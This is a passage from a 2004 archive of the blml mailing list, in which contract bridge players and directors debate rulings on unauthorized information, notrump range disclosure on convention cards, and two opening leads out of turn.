that I had also seriously considered redouble. So redouble may be an LA, but that's not directly at issue. The question is whether there were logical alternatives to South's 5S call. Once we have answered that in the affirmative the TD now adjusts the score under 12C2 or 12C3. He might well judge that without UI South would have redoubled some of the time. Under 12C2 he'll need to decide whether 5DXX was one of the results that was likely, or whether it was "at all probable", or neither. Under 12C3 he'll need to judge exactly how often the contract would have been 5DXX. In any case I think South ought to have been assessed a procedural penalty for blatant failure to follow law 73C. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From nigel.guthrie@ntlworld.com Mon Jan 12 06:16:33 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 06:16:33 -0000 Subject: [blml] Judgement References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> <019701c3d7e6$a4ac21a0$919868d5@tinyhrieuyik> <00f001c3d85c$afd0e680$949868d5@tinyhrieuyik> <2f740057bbb0ps6chkgmlri9ubaelt880t@4ax.com> Message-ID: <069301c3d8d3$b35fb980$949868d5@tinyhrieuyik> >>{Nigel] >>I ask again my own question, yet unanswered. Opponent's >>CC says "2S = 5-9 HCP, 6-7 cards". They open 2S, you >>ask "suit length?" and they answer "6-7 cards". Later >>you find out that they have agreed to "upgrade" the >>length on exceptional hands where "the texture, suit >>quality, and extra HCP make up for the missing length." >>Was their answer adequate? [Brian Meadows] > IMO, no, [their answer isn't adequate] - but I think > you could have made it clearer that you were asking > for a comprehensive reply. Given that some players > "prefer to ask", then no doubt there will be those who > will claim that they thought your "Suit length?" question > was just asking them for the information on their CC. > > In the case you describe, I would ask something like > "Can opener ever have less than 6 spades for that bid"? > If you get opponents who are really trying to hide > information, I suppose you might need to add a rider > excluding psychic openers. > > While you would give the usual consideration to novices, > I think an experienced player has a much better case > for a score adjustment (assuming he can show damage, > of course) if he makes it plain exactly what information > he's looking for. If you want to know whether your > opponents can "upgrade" as above, then ask them that. > While "Suit length?" *ought* to be sufficient, IMO you > can do better. > > If it's that vital for me to know whether opener can > have five spades, I'd take my chances on an objection > to the form of the question I'd use. [Nigel] I agree with everything that you write, Brian. I'm glad that you accept that my "length" example is a fair analogy. I agree that you may have to ask follow-up questions, even although *specific* questions * are technically against the rules, * may tip your hand and * inhibit partner from using any resulting UI. What I'm complaining about is *why* it is necessary for me to demean and handicap myself in this way, given that the onus is meant to be on *voluntary* disclosure. And of course, the Walrus, unfamiliar with BLML, may not realise that he needs to cross-examine opponents at all, because he is unaware that the "judgement" of some Law-makers contradicts the Walrus's literal reading of Orange Book regulations. Like me, the poor beast may find it hard to get his head round the concept of applying sophisticated judgement to simple addition. It annoys me that opponents seemingly have a right to prevaricate and that the fault is mine for failing to get out the thumscrews. It might frustrate Secretary Birds, but Bridge would be a simpler, fairer, more enjoyable game if all unecessary subjectivity, judgement, and "equity", were expunged from the law book. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From nigel.guthrie@ntlworld.com Mon Jan 12 06:29:43 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 06:29:43 -0000 Subject: [blml] Dummy play in the fourth dimension References: Message-ID: <06ab01c3d8d5$7813c0e0$949868d5@tinyhrieuyik> [Richard james Hills] Australian Interstate Open Teams Dlr: East J Vul: Nil AK543 9 JT9432 AKQT6 95432 void 982 AKJT75 843 A5 K6 87 QJT76 Q62 Q87 WEST NORTH EAST SOUTH --- 2S(1) Pass Pass(2) 1C(3) 1H(4) Pass Pass(2) 2H(4) Pass 3S Pass(2) 7S Pass Pass Pass(2) (1) Bid out-of-rotation, not accepted (shows 5+ hearts and 4+ minor, 8-12 HCP). (2) Forced (Law 31). (3) Precision, 16+ HCP. (4) Game force. Declarer exercised his Law 26B option and prohibited the lead of a diamond. As West tabled his hand he commented that the prohibition had made no difference. As an afterthought he then added, "I suppose North may have been able to trump a diamond lead." The Play: HQ - ST - H3 - H2 SA - SJ - S2 - S7 SK - C2 - S3 - S8 DA - D9 - D3 - D2 CA - C3 - C6 - C7 C5 - C9 - CK - C8 D4 - D6 - DJ - H4 Result: E/W + 1510 How would you rule as TD? (Law 12C3 is not available for Aussie TDs.) How would you rule as AC? (Law 12C3 is enabled for Aussie ACs.) [Nigel] IMO No 12C3 TD: 7S-1 'cos of UI from *Lucy in the Sky*. AC: retain deposit; possible PP. I predict a unanimous panel :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From j.rickard@bristol.ac.uk Mon Jan 12 08:46:26 2004 From: j.rickard@bristol.ac.uk (Jeremy Rickard) Date: 12 Jan 2004 08:46:26 +0000 Subject: [blml] Judgement In-Reply-To: richard_willey@comcast.net's message of "Mon, 12 Jan 2004 04:50:31 +0000" References: <011220040450.13214.5ec5@comcast.net> Message-ID: richard_willey@comcast.net writes: > Silly question here: > > I have no idea what "11.7 - 14.3 HCP" means and don't particularly > understand how this helps with disclosure. My guess is that Nigel > is assuming that this means that 30% of all 11 counts qualify for a > 1NT opening. However, given that this is not standard nomenclature > I'm worried that different people will understand this to mean very > different things. Also, I have no idea whether it is supposed to convey anything about the proportion of 12-counts that are demoted *out of* the NT range. Is it meant to describe the frequency with which your judgement leads you to upgrade *and* downgrade hands? Or is it meant to describe a wider (or narrower?) range than what most people would understand by "12-14". Actually, it seems to me that "11.7 - 14.3 HCP" ought to describe a *narrower* range than a normal "12-14" NT. If you round off your "non-integer HCP" to the nearest integer, then the borderline between "11 (rounded)" and "12 (rounded)" would be 11.5. So a normal 12-14 NT should, expressed more accurately, be "11.5 - 14.5". > From my perspective, giving the "illusion" of precision is much > worse than stating that players reserve the right to excercise > judgement. If a player opens a "12-14" NT with 11-counts with some frequency, there are two possibilities. Firstly, he may just do his best to decide whether the actual strength of a hand is best described as "11" or "12", realizing like us all that there is more to hand evaluation than HCP. So the number of 11-counts he opens will be roughly the same as the number of 12-counts he passes. This is what I assumed most people meant by a "12-14 NT", and I wouldn't feel misinformed if it was described as such. Secondly, he may actually be playing a wider range than "12-14": promoting many 11-counts but opening (almost) all 12-counts. In this case I think that a description of simply "12-14" is misinformation. Jeremy. > > [Nigel] > > Given the limited space on the CC, your decimal ranges, > > based on frequency estimates, are an ideal solution -- that > > even we Walruses can understand and adopt -- especially if > > it were recommended officially. -- Jeremy Rickard Email: j.rickard@bristol.ac.uk WWW: http://www.maths.bris.ac.uk/~pure/staff/majcr/ From blml@blakjak.com Mon Jan 12 13:03:59 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 13:03:59 +0000 Subject: [blml] Range restrictions In-Reply-To: References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> Message-ID: <3o9iWkL$spAAFwvV@blakjak.demon.co.uk> Jeremy Rickard wrote >I feel uncomfortable with having an objective rule (the Rule of 19, >say) and allowing judgement in the sense that the TD will allow an >opening bid if the bidder can convince him that he really judged the >hand to be "worth 19". Perhaps it is time someone here **read** the Orange book, rather than mis-quoted it form memory. Nowhere does it say "You may not open a hand with less than Ro19". Whether you approve of the reg or not, it is not what several people say it is. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Jan 12 13:08:17 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 13:08:17 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: Laval Dubreuil wrote > >Laval Dubreuil wrote >>> Yesterday in my club: >>> South is dealer but East lead (face up) with CA. >>> Routine: dealer asked West "no Club lead" and CA returned in hand. >>> Before West selected his card, East made another OLOT with HQ.... > >To which David Stevenson replied: >> After the HQ, declarer has five options: >> 1] Accept the HQ lead, dummy down now. >> 2] Accept the HQ lead, put own hand down as dummy. >> 3] Require heart lead, HQ gets picked up, East can play anything legal. >> 4] Forbid heart lead for as long as West keeps lead, HQ gets picked up, >> club lead also forbidden for as long as West keeps lead. >> 5] Keep HQ on table as MPC, West forbidden from leading club for as long >> as West keeps lead. > >This is all excellent stuff, but can we please come back a stage. When >East led the CA OOT, South's action in forbidding a Club lead and East's in >returning the CA to hand without anyone involving the TD is described as >"routine". No one having called the TD (as required by L9B1(a)), South has >now assessed a penalty (in contravention of L10A). > >ISTM that had the TD been called when the CA was led, South would have had >his options outlined, would presumable have accepted "forbid club lead" and >The TD would then have explained the effect of this to West. It is >extremely unlikely after all this rigmarole that East would now have >suffered whatever mental aberration caused him to make a second OLOOT. >___________________________________________________________________________ > >I was not clear enough ..... >I was the TD and have been called after the first OLOOT (CA). >I then explained choices to declarer, he selected "no Club" and I told >East CA returns in hand. That was the "routine" I was talking about. Thegood news: that is what I assumed in my answer. >I just return to my computer when they called me back (all laughing). >Before West selected his lead (no club), East made a 2nd OLOOT with HQ. >My only question was : "What about CA ?" Back on table, 2 penalty cards >and 5 more options (as David pointed out). The bad news: sorry, Laval, I did not realise this. This is clearly TD error. When you are called ot a table which involves a penalty card, major or minor, you *never* leave the table until the penalty card has been played legally. I had assumed the second card was led with you standing at the table. As a generality, you never leave any table until any penalty has been paid. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Jan 12 13:11:21 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 13:11:21 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: <9nd+FLDEfaAAFw$P@asimere.com> References: <9nd+FLDEfaAAFw$P@asimere.com> Message-ID: John (MadDog) Probst wrote >In article >, Laval Dubreuil writes >>Hi Blmrs, >> >>Yesterday in my club: >> >>South is dealer but East lead (face up) with CA. >>Routine: dealer asked West "no Club lead" and CA returned in hand. >> >>Before West selected his card, Est made an other OTOL with HQ.... > >so we have another penalty card. Accept the lead, (but no choices as to >dummy as that has already been exercised IMO). Or usual 3 options for >his partner, and on top of that the "No club" still stands. I do not see how he has exercised an option for dummy? The option was that *if* you accept the opening lead you may have either hand playing it. He did not with the first OLOOT so he has not exercised that option. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Jan 12 13:12:58 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 13:12:58 +0000 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: <6.0.1.1.1.20040110203626.01b03d58@postoffice.worldnet.att.net> References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> <6.0.1.1.1.20040110140553.01b79c40@postoffice.worldnet.att.net> <015d01c3d7dc$e9d2f740$919868d5@tinyhrieuyik> <6.0.1.1.1.20040110203626.01b03d58@postoffice.worldnet.att.net> Message-ID: >At 07:43 PM 1/10/2004, Nigel Guthrie wrote: >>And suggested that I call the TD on myself! No, the suggestion is that you call the TD. Calling the TD "on" someone is a reprehensible sexual practice that belongs in a different ML. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Mon Jan 12 13:15:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 12 Jan 2004 14:15:58 +0100 Subject: [blml] Range restrictions In-Reply-To: <3o9iWkL$spAAFwvV@blakjak.demon.co.uk> References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> <3o9iWkL$spAAFwvV@blakjak.demon.co.uk> Message-ID: <40029E0E.2030008@hdw.be> David, that is a totally different discussion. David Stevenson wrote: > Jeremy Rickard wrote > >> I feel uncomfortable with having an objective rule (the Rule of 19, >> say) and allowing judgement in the sense that the TD will allow an >> opening bid if the bidder can convince him that he really judged the >> hand to be "worth 19". > > > Perhaps it is time someone here **read** the Orange book, rather than > mis-quoted it form memory. Nowhere does it say "You may not open a hand > with less than Ro19". > It does not, but in the end the regulation boils down to that. After all other things have been taken into consideration, what one is left with is a player who has opened a particular hand and a director who has ruled that this opening is to be considered systemic. If that particular hand does not conform to the minimum criteria, the director shall award Av-. What we are discussing here is if the minimum criteria are Ro19 (or whatever) with or without "judgment". > Whether you approve of the reg or not, it is not what several people > say it is. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From svenpran@online.no Mon Jan 12 13:28:03 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 12 Jan 2004 14:28:03 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000001c3d90f$e8f8eb70$6900a8c0@WINXP> > David Stevenson ............. > The bad news: sorry, Laval, I did not realise this. This is clearly > TD error. When you are called ot a table which involves a penalty card, > major or minor, you *never* leave the table until the penalty card has > been played legally. I had assumed the second card was led with you > standing at the table. > > As a generality, you never leave any table until any penalty has been > paid. I basically agree with David; however the Director may have to leave the table prematurely because he must deal with other important business, for instance by being called to another table. (Which apparently was not the case here as Laval had returned to his computer?) Regards Sven From ehaa@starpower.net Mon Jan 12 14:02:44 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 12 Jan 2004 09:02:44 -0500 Subject: [blml] Judgement In-Reply-To: References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> Message-ID: <5.2.0.9.0.20040112083443.01fb4080@pop.starpower.net> At 09:05 PM 1/11/04, twm wrote: > > {Nigel] > > > (2) You ask opponents about their notrump range. Experienced > > players know the likely reasons for your question but > > still they stone-wall "12-14." > >Very few opponents will stone-wall if they know why you are asking. An opponent who will "stonewall" a question about his NT range will stonewall any request for further disclosure beyond what appears on his CC. If he is sufficiently devious he will get away with it. If not he will be detected and appropriately disciplined. I don't see where the possibility that an unethical opponent might stonewall legitimate requests for disclosure has any particular bearing on the thread topic, which is about describing NT ranges in particular. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From twm@cix.co.uk Mon Jan 12 15:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 12 Jan 2004 15:36 +0000 (GMT Standard Time) Subject: [blml] Judgement In-Reply-To: <011220040450.13214.5ec5@comcast.net> Message-ID: Richard wrote: > Silly question here: > > I have no idea what "11.7 - 14.3 HCP" means and don't particularly > understand how this helps with disclosure. My guess is that Nigel is > assuming that this means that 30% of all 11 counts qualify for a 1NT > opening. However, given that this is not standard nomenclature I'm > worried that different people will understand this to mean very > different things. The theory is that people who don't understand what it means will at least get a clue that they should ask about it. I'm pretty sure there is a bell curve for the strength of each raw HCP value of balanced hands that ranges from about -1.5 to +1.5 around the core value. In my mind the standard deviation on this curve is about 0.5 (I could be wrong). The above figures might thus be taken to indicate that upgrading/downgrading will occur on about 15% of 11/12 counts rather than 30% (nb would 13+/- 1.3 give a different percentage, I don't know). But what can one do? The CC provides a space 1cm square into which we are expected to put our NT range and we each tackle that all but impossible task in a way that we hope is helpful for opponents. Perhaps putting 12(11++) or 12(11) is more useful but again it is non-standard nomenclature and unlike the decimal concept would seem to preclude upgrading the very very occasional 10 count. Mix in the fact that such judgements may be moderated by seat/vulnerability, non-symmetric up/down grading and evaluation differences between partners and it becomes obvious (at least to me) that the EBU is not expecting "full disclosure" on their CCs but rather wants some sort of informative shorthand - if this shorthand were standardised I'd use it but it isn't. Open to suggestions. Tim From Laval_Dubreuil@uqss.uquebec.ca Mon Jan 12 15:41:33 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Mon, 12 Jan 2004 10:41:33 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: David Stevenson wrote: The bad news: sorry, Laval, I did not realise this. This is clearly TD error. When you are called ot a table which involves a penalty card, major or minor, you *never* leave the table until the penalty card has been played legally. I had assumed the second card was led with you standing at the table. As a generality, you never leave any table until any penalty has been paid. ________________________________________________________________________ I always do the same. I offered choices to declarer, he selected "no club", I ruled "CA in hand", told W he must not lead C (as long as he retains the lead) and THEN leaved the table (34 tables, no caddy....). I thought my job was done but they called me back. E made the 2nd OTOOL before his pd selected his card (no club). I ruled "declarer has 5 new options" and stay at table as usual. My only question was: what about CA? 1) Back on table when called for the 2nd OLOOT: 10 options to declarer. 2) Stay in hand (as required by the first ruling): 5 new options. Laval Du Breuil From blml@blakjak.com Mon Jan 12 15:43:59 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 15:43:59 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: Laval Dubreuil wrote >David Stevenson wrote: > > The bad news: sorry, Laval, I did not realise this. This is clearly >TD error. When you are called ot a table which involves a penalty card, >major or minor, you *never* leave the table until the penalty card has >been played legally. I had assumed the second card was led with you >standing at the table. > > As a generality, you never leave any table until any penalty has been >paid. >________________________________________________________________________ > >I always do the same. I offered choices to declarer, he selected "no club", >I ruled "CA in hand", told W he must not lead C (as long as he retains >the lead) and THEN leaved the table (34 tables, no caddy....). I thought >my job was done but they called me back. I would never leave the table before West had led. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Mon Jan 12 16:20:07 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 16:20:07 -0000 Subject: [blml] Judgement References: <011220040450.13214.5ec5@comcast.net> Message-ID: <005401c3d928$0a2f5820$b09468d5@tinyhrieuyik> [Jeremy Pickard] > Firstly, he may just do his best to decide whether the > actual strength of a hand is best described as "11" or > "12", realizing like us all that there is more to hand > evaluation than HCP. So the number of 11-counts he opens > will be roughly the same as the number of 12-counts > he passes. This is what I assumed most people meant by > a "12-14 NT", and I wouldn't feel misinformed if it was > described as such. [Nigel] :( Oh No, Richard! You have betrayed the Walruses ): Of course, "there is more to evaluation than HCP" We have read tomes about shape points, the losing trick count, KR points, 7531 points, texture, honour placement and the like. Manifestly, these other considerations are *not* HCP. To refer to them as "HCP" is simply a lie (not necessarily a deliberate lie and a lie condoned by most lawmen and some players). For EBU players the issue seems clear-cut. Our EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1. It allows for no "adjustment" or "judgement". It seems that we are at the basic level of the meaning of a word. The WBFLC can try to claim a bizarre kind of "consistency" in that it has already rendered words like "logical" and "rational" almost meaningless. In fact, by their nature, such systems are *inconsistent* and paradoxes like this are inevitable. The futile pursuit of spurious subjectivity, judgement, and so-called "equity" just dig us in deeper. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From richard_willey@comcast.net Mon Jan 12 16:48:54 2004 From: richard_willey@comcast.net (richard_willey@comcast.net) Date: Mon, 12 Jan 2004 16:48:54 +0000 Subject: [blml] Judgement Message-ID: <011220041648.21304.6ad3@comcast.net> Hi Tim I really doubt that the 1NT openings will be distributed normally. I've done a fair amount amount of work using Monte Carlo simulations to model opening hands for a bidding system called MOSCITO. As I am sure you are aware, HCPs themselves aren't distributed normally. Furthermore, the Mean/Mode of the distribution is 10 HCP, which is significantly lower than the 12-14 HCP range being studied. As a result, the HCP distribution for a 12-14 HCP range tends to be skewed to the left. With this said and done: As I mentioned earlier: I would prefer to avoid structures that provide the illusion of accuracy: For this reason, I prefer +/-symbols to decimal points which can be easily mis-interpreted. > I'm pretty sure there is a bell curve for the strength of each raw HCP > value of balanced hands that ranges from about -1.5 to +1.5 around the > core value. In my mind the standard deviation on this curve is about 0.5 > (I could be wrong). > > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From Laval_Dubreuil@uqss.uquebec.ca Mon Jan 12 17:01:40 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Mon, 12 Jan 2004 12:01:40 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: >David Stevenson wrote: > > The bad news: sorry, Laval, I did not realise this. This is clearly >TD error. When you are called ot a table which involves a penalty card, >major or minor, you *never* leave the table until the penalty card has >been played legally. I had assumed the second card was led with you >standing at the table. > > As a generality, you never leave any table until any penalty has been >paid. >________________________________________________________________________ Laval Dubreuil wrote> >I always do the same. I offered choices to declarer, he selected "no club", >I ruled "CA in hand", told W he must not lead C (as long as he retains >the lead) and THEN leaved the table (34 tables, no caddy....). I thought >my job was done but they called me back. ___________________________________________________________________________ David Stevenson wrote: I would never leave the table before West had led. ___________________________________________________________________________ I know I have much less experience than you David.... but have you ever seen a 2nd OLOOT.... Good lesson...speed kills. Thx. Laval From twm@cix.co.uk Mon Jan 12 17:48:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 12 Jan 2004 17:48 +0000 (GMT Standard Time) Subject: [blml] Judgement In-Reply-To: <011220041648.21304.6ad3@comcast.net> Message-ID: Hi Richard: > I really doubt that the 1NT openings will be distributed normally. > I've done a fair amount amount of work using Monte Carlo simulations to > model opening hands for a bidding system called MOSCITO. As I am sure > you are aware, HCPs themselves aren't distributed normally. Richard I was talking of the distribution of the strength of hands with a *known* number of HCP. By definition an "average" flat 12 HCP hand is worth 12 HCP. I think you might be right that the distribution is not normal but I approximate it to normal when trying to think about it. > Furthermore, the Mean/Mode of the distribution is 10 HCP, which is > significantly lower than the 12-14 HCP range being studied. As a > result, the HCP distribution for a 12-14 HCP range tends to be skewed > to the left. While true I am not sure this is relevant since the main focus is trying to distinguish between 11 and 12 counts. > With this said and done: As I mentioned earlier: I would prefer to > avoid structures that provide the illusion of accuracy: For this > reason, I prefer +/-symbols to decimal points which can be easily > mis-interpreted. Noted. Others have said that they find my decimals useful (e.g I use 10.5 for 1st seat and 14.8 for 3rd seat and this gives them more of an indication than using (+) or (-) for both. The general feedback I get is that at least using *something* is more useful than putting plain 12-14. I have given up expecting that anything I try will please everyone. The most explicit complaint I get is my CC clearly indicates that I upgrade/downgrade more than my wife and the TD is sometimes called before opps accept we are not playing different systems. My wife explains that having been playing longer I use more judgement than she (I wish she would say better rather than "more"!). Tim From blml@blakjak.com Mon Jan 12 20:07:20 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 12 Jan 2004 20:07:20 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: Laval Dubreuil wrote >>David Stevenson wrote: >> >> The bad news: sorry, Laval, I did not realise this. This is clearly >>TD error. When you are called ot a table which involves a penalty card, >>major or minor, you *never* leave the table until the penalty card has >>been played legally. I had assumed the second card was led with you >>standing at the table. >> >> As a generality, you never leave any table until any penalty has been >>paid. >>________________________________________________________________________ >Laval Dubreuil wrote> >>I always do the same. I offered choices to declarer, he selected "no club", >>I ruled "CA in hand", told W he must not lead C (as long as he retains >>the lead) and THEN leaved the table (34 tables, no caddy....). I thought >>my job was done but they called me back. >___________________________________________________________________________ >David Stevenson wrote: > I would never leave the table before West had led. >___________________________________________________________________________ >I know I have much less experience than you David.... >but have you ever seen a 2nd OLOOT.... No. But I have seen people trying to lead a club when told not to: I have seen people told not to lead a club until they lose the lead either not knowing whether they can lead a club at the second trick or even actually leading a club: I have seen people told to lead a club cash a club and then want ot know whether they have to lead another one: and so on. When I leave the table I say "There is no further penalty". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Mon Jan 12 22:22:58 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jan 2004 08:22:58 +1000 Subject: [blml] 2 out of turn opening leads Message-ID: David Stevenson wrote: >>I would never leave the table before West had led. Laval Dubreuil thanked: >I know I have much less experience than you David.... >but have you ever seen a 2nd OLOOT.... >Good lesson...speed kills. Thx. Richard James Hills notes: The chances of one person being struck by lightning twice are miniscule. However, once it is known that one person has already received a lightning strike once, the chances of that person receiving a second lightning strike are greater than another lightning-free person receiving their first lightning strike. Example: The reason for the first lightning strike may be risky behaviour such as being addicted to golf, so daring to tee off during thunder storms. Similarly, a person who has just committed an infraction tends to be flustered as a result of the TD summoning, so that person is vulnerable to a further mindswap and an immediate second infraction. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 12 22:49:23 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jan 2004 08:49:23 +1000 Subject: [blml] Dummy play in the fourth dimension Message-ID: Cassandra prophesied: >>TD: 7S-1 'cos of UI from *Lucy in the Sky*. >>AC: retain deposit; possible PP. >>I predict a unanimous panel :) Richard reveals: The actual 5-person AC (which included in its membership top Aussie player and TD Laurie Kelso) confirmed the table result of 7S making, but fined West 3 imps due to the unfortunate nature of West's comment. When this deal was discussed by a panel in the November 2002 issue of the Australian Bridge Directors Bulletin, eight out of the ten panellists confirmed the table result of 1510. One of the two dissenters was coincidentally the non-playing captain of the non-offending side. Speaking of coincidence, the panellist Richard Hills wrote: [snip] >North's assertion that declarer took an >anti-percentage line is only relevant if >the now discredited "Rule of Coincidence" >applied. That is, under the "Rule of >Coincidence" declarer's anti-percentage >line would be demonstrable evidence that >dummy peeked at a defender's hand, then >commented to let declarer know. Fortunately >this guilty-until-proved-innocent >assumption has never applied in Australia, >so declarers are entitled to take lucky but >anti-percentage lines. While declarer's >line is anti-percentage a priori, after >North's bid the percentages are now very >close. I don't care that N/S are unhappy on >this hand. At another table, I sat West, >and was even unhappier when partner passed >my 5H cuebid! Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 12 23:43:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jan 2004 09:43:14 +1000 Subject: [blml] Termagant (was Everybody run) Message-ID: Nigel Guthrie: >I hope you are wrong, Richard. Last week, when >my partner, as declarer, ruffed the opening lead, >I asked "having none partner." An opponent claimed >that the question was unlawful. This raised slight >doubts, so, to reassure the table, I called the TD >*on myself* :) :) :) Are we really wrong to call the >TD when we suspect an infraction may have occurred? Richard James Hills: The issue is not whether, in Nigel's example, Nigel was "wrong" to call the TD. The issue is whether, in Nigel's example, Nigel's summoning of the TD was extraneous to Law 9B1. In my humble opinion, a non-extraneous summoning of the TD due to Law 9B1 (or Laws 16B or 75D), which is not in violation of Law 74B5, leaves the summoning player intrinsically protected. In my humble opinion, it is unLawful to apply a Law 74A2 penalty to a player merely because of that player's action of a Lawful TD summoning. But, in my humble opinion, a summoning of the TD - which is extraneous to Law - leaves the summoner vulnerable to a possible Law 74A2 penalty. Of course, in Nigel's example, no sane TD would apply a Law 74A2 penalty to Nigel. But, in my humble opinion, any future extraneous TD summoning by Nigel is done at Nigel's own risk. Some years ago, I partnered a paranoid termagant who would summon the TD whenever there was the slightest hint that an opponent had hesitated. Eventually a TD responded to my termagant's TD call with a full and frank disclosure of my termagant's mental and moral failings (without stooping to use any parliamentary expressions). :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Jan 13 00:40:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jan 2004 10:40:00 +1000 Subject: [blml] Can an agreement be non-reciprocal? Message-ID: In the thread, "Range restrictions", Wayne Burrows wrote: [snip] >In any case the statement "*I* would always open such an >eleven count" is not evidence of a partnership agreement. Richard James Hills replies: Let us construct a hypothetical syllogism -> 1. Player A and Player B form a regular A-B parnership. 2. With 15 or more Walrus hcp, neither Player A nor Player B open 1NT. 3. With 12-14 